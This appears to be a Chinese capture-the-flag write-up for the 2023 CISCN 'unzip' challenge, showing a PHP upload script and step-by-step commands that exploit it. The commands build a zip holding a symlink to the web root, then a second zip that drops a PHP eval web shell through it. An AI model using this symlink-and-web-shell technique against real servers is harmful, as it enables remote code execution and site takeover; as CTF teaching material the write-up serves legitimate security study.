当前位置: 首页 > news >正文

2023CISCN初赛unzip

2023CISCN初赛unzip

image-20250127092851635

随便上传一个文件,会自动跳转到uplaod.php目录下,源码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!

可以看到验证文件MIME类型,需要上传zip文件。然后进入到tmp目录下,调用unzip命令进行解压。

解题思路:

这里可以思考将文件马写到zip压缩包中,但是在linux系统中,如果使用apache服务器,默认的网站web根目录是/var/www/html,而马却在tmp目录下,无法访问。

想要实现目录跳转,可以使用软连接,使/tmp目录下的link与网站根目录/var/www/html建立软链接

#创建一个文件夹aaa进入其中,将该文件夹与/var/www/html目录进行软连接
ln -s /var/www/html slink
  • 当前目录下会出现一个名为 slink 的符号链接。
  • 当你访问 slink,系统会将操作重定向到 /var/www/html。假设 /var/www/html 下有一个文件 index.html,执行命令后,通过 link/index.html 就可以访问该文件。
#生成一个压缩包slink.zip里面包含slink文件
zip --symlink slink.zip slink

此时aaa文件夹下已经有了slink和slink.zip两个文件。然后删除slink文件,建立一个文件夹名为slink。进入到slink文件夹下。

#写一个一句话木马,注意这里要使用单引号,如何使用双引号会把$_REQUEST当作变量解析,导致缺失
echo '<?php @eval($_REQUEST[1]);?>' >>shell.php

然后返回上一级目录,将slink文件夹压缩,保存为slink2.zip文件

zip -r slink2.zip ./slink/*

此时该文件夹下有两个zip文件

├── slink.zip
│   └── slink
├── slink2.zip└── shell.php

先上传slink.zip,再上传slink2.zip。之后用蚁剑链接或者命令执行即可。

命令汇总:

root@VM-4-17-ubuntu:/home/ubuntu# mkdir aaa
root@VM-4-17-ubuntu:/home/ubuntu# cd aaa
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ln -s /var/www/html slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip --symlink slink.zip slinkadding: slink (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# rm -rf slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# mkdir slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink.zip
root@VM-4-17-ubuntu:/home/ubuntu/aaa# cd slink
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# echo '<?php @eval($_REQUEST[1]);?>' >>shell.php
root@VM-4-17-ubuntu:/home/ubuntu/aaa/slink# cd ../
root@VM-4-17-ubuntu:/home/ubuntu/aaa# zip -r slink2.zip ./slink/*adding: slink/shell.php (stored 0%)
root@VM-4-17-ubuntu:/home/ubuntu/aaa# ls
slink  slink2.zip  slink.zip

http://www.lryc.cn/news/527860.html

相关文章:

  • 计算机网络 (55)流失存储音频/视频
  • Linux通过docker部署京东矩阵容器服务
  • 【MySQL】悲观锁和乐观锁的原理和应用场景
  • Java Web-Tomcat Servlet
  • 老牌工具被破!
  • 在计算机上本地运行 Deepseek R1
  • MongoDB中常用的几种高可用技术方案及优缺点
  • 【GoLang】利用validator包实现服务端参数校验时自定义错误信息
  • 异或哈希总结
  • 【Rust自学】15.7. 循环引用导致内存泄漏
  • C#AWS signatureV4对接Amazon接口
  • C语言操作符(下)
  • 学习资料收藏 游戏开发
  • 我的2024年总结
  • freeswitch在centos上编译过程
  • docker如何查看容器启动命令(已运行的容器)
  • 正则表达式以及Qt中的使用
  • 当高兴、尊重和优雅三位一体是什么情况吗?
  • Vue 3 中的 TypeScript:接口、自定义类型与泛型
  • 【Super Tilemap Editor使用详解】(十六):高级主题:深入理解 Super Tilemap Editor
  • 如何运用python爬虫爬取知网相关内容信息?
  • 2025年数学建模美赛 A题分析(2)楼梯使用频率数学模型
  • 云原生:构建现代化应用的基石
  • 18.Word:数据库培训课程❗【34】
  • 批量创建ES索引
  • RoboVLM——通用机器人策略的VLA设计哲学:如何选择骨干网络、如何构建VLA架构、何时添加跨本体数据
  • 25美赛ABCDEF题详细建模过程+可视化图表+参考论文+写作模版+数据预处理
  • 基于RIP的MGRE VPN综合实验
  • 如何获取小程序的code在uniapp开发中
  • 【Linux】 冯诺依曼体系与计算机系统架构全解